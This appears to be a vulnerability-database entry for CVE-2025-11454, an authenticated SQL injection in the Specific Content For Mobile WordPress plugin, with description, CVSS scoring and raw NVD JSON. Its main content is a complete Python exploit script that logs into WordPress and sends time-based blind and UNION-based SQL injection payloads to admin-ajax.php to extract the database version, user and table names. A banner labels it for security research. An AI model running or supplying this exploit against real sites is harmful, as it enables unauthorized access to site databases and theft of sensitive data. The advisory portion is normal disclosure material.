Security Vulnerability Report
中文
CVE-2025-11454 CVSS 6.5 MEDIUM

CVE-2025-11454

Published: 2025-11-12 11:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Specific Content For Mobile – Customize the mobile version without redirections plugin for WordPress is vulnerable to SQL Injection via the eos_scfm_duplicate_post_as_draft() function in all versions up to, and including, 0.5.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with COntributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Specific Content For Mobile插件 < 0.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11454 PoC - WordPress Specific Content For Mobile SQL Injection Affected Version: <= 0.5.5 Vulnerable Function: eos_scfm_duplicate_post_as_draft() """ import requests import sys # SQL Injection payload to extract database information SQLI_PAYLOAD = "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" def exploit_sql_injection(target_url, username, password): """ Exploit SQL injection in WordPress plugin Args: target_url: Base URL of the WordPress site username: WordPress contributor+ username password: WordPress account password """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f"[*] Attempting to authenticate as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Trigger the vulnerable function via AJAX or admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable parameter: post ID with SQL injection payload exploit_data = { 'action': 'scfm_duplicate_post', 'post_id': SQLI_PAYLOAD # SQL Injection payload } print(f"[*] Sending malicious request with SQL injection payload...") print(f"[*] Payload: {SQLI_PAYLOAD}") try: response = session.post(ajax_url, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.Timeout: print("[+] SQL Injection confirmed - Time-based blind injection successful!") except Exception as e: print(f"[-] Error: {str(e)}") return True def extract_data(target_url, username, password): """ Extract sensitive data using UNION-based SQL injection """ session = requests.Session() # Login first login_url = f"{target_url}/wp-login.php" session.post(login_url, data={'log': username, 'pwd': password}) # Extract database version and user info payloads = [ "1' UNION SELECT 1,2,3,4,5,@@version,7,8,9,10-- -", "1' UNION SELECT 1,2,3,4,5,user(),7,8,9,10-- -", "1' UNION SELECT 1,2,3,4,5,table_name,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -" ] ajax_url = f"{target_url}/wp-admin/admin-ajax.php" for payload in payloads: print(f"[*] Testing payload: {payload}") response = session.post(ajax_url, data={ 'action': 'scfm_duplicate_post', 'post_id': payload }) print(f"[*] Response snippet: {response.text[:200]}") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> [exploit|extract]") print(f"Example: python {sys.argv[0]} http://target.com admin password exploit") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] mode = sys.argv[4] if len(sys.argv) > 4 else 'exploit' if mode == 'exploit': exploit_sql_injection(target, user, pwd) elif mode == 'extract': extract_data(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11454", "sourceIdentifier": "[email protected]", "published": "2025-11-12T11:15:38.463", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Specific Content For Mobile – Customize the mobile version without redirections plugin for WordPress is vulnerable to SQL Injection via the eos_scfm_duplicate_post_as_draft() function in all versions up to, and including, 0.5.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with COntributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3387807%40specific-content-for-mobile&new=3387807%40specific-content-for-mobile&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6ed99dfd-6ca6-41e7-a844-d53eec7068c1?source=cve", "source": "[email protected]"}]}}